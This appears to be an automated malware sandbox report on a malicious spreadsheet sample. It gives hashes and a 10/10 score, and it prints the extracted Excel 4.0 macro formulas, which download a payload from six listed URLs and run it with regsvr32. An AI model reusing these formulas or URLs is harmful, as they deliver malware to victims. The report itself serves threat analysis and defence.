General
-
Target
e81298c0099bc1b5551ca6b7a948ccfe2285b097bb956b939f880fe82646b690
-
Size
46KB
-
Sample
241120-rwvlsaspcp
-
MD5
4815dad4af5e695a5b0b376ba406db52
-
SHA1
591f8688cde7edf59124d25aacb77844669efa28
-
SHA256
e81298c0099bc1b5551ca6b7a948ccfe2285b097bb956b939f880fe82646b690
-
SHA512
b3ecd610c240872579672d81a18517011d9bfd43feb2ea989f10d8e541568643cd99799150284439611567f60e7aa9337ef0530a308ec8960b8e307201e33b41
-
SSDEEP
768:eEoTBvDOevZCwrvtWzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2ceI:JolvDmtT5fTR4Lh1NisFYBc3cr+UqVUz
Malware Config
Extracted
http://moveconnects.com/wp-admin/network/7T8g9DAohsL/
http://benzo-pl.com/wp-content/NVJU3gASPcyRDctfsM/
http://mentalpeaks.care/kymogram/ex1hhh/
https://melhoreseudia.club/assets/JbQzzZ7UBaXq7bB/
http://meca-global.com/okickb/Vm1FMsVcbL/
http://bizfedlacounty.org/wp-auth/GxsV/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveconnects.com/wp-admin/network/7T8g9DAohsL/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://benzo-pl.com/wp-content/NVJU3gASPcyRDctfsM/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mentalpeaks.care/kymogram/ex1hhh/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://melhoreseudia.club/assets/JbQzzZ7UBaXq7bB/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://meca-global.com/okickb/Vm1FMsVcbL/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bizfedlacounty.org/wp-auth/GxsV/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Extracted
http://moveconnects.com/wp-admin/network/7T8g9DAohsL/
http://benzo-pl.com/wp-content/NVJU3gASPcyRDctfsM/
http://mentalpeaks.care/kymogram/ex1hhh/
https://melhoreseudia.club/assets/JbQzzZ7UBaXq7bB/
http://meca-global.com/okickb/Vm1FMsVcbL/
Targets
-
-
Target
e81298c0099bc1b5551ca6b7a948ccfe2285b097bb956b939f880fe82646b690
-
Size
46KB
-
MD5
4815dad4af5e695a5b0b376ba406db52
-
SHA1
591f8688cde7edf59124d25aacb77844669efa28
-
SHA256
e81298c0099bc1b5551ca6b7a948ccfe2285b097bb956b939f880fe82646b690
-
SHA512
b3ecd610c240872579672d81a18517011d9bfd43feb2ea989f10d8e541568643cd99799150284439611567f60e7aa9337ef0530a308ec8960b8e307201e33b41
-
SSDEEP
768:eEoTBvDOevZCwrvtWzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2ceI:JolvDmtT5fTR4Lh1NisFYBc3cr+UqVUz
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-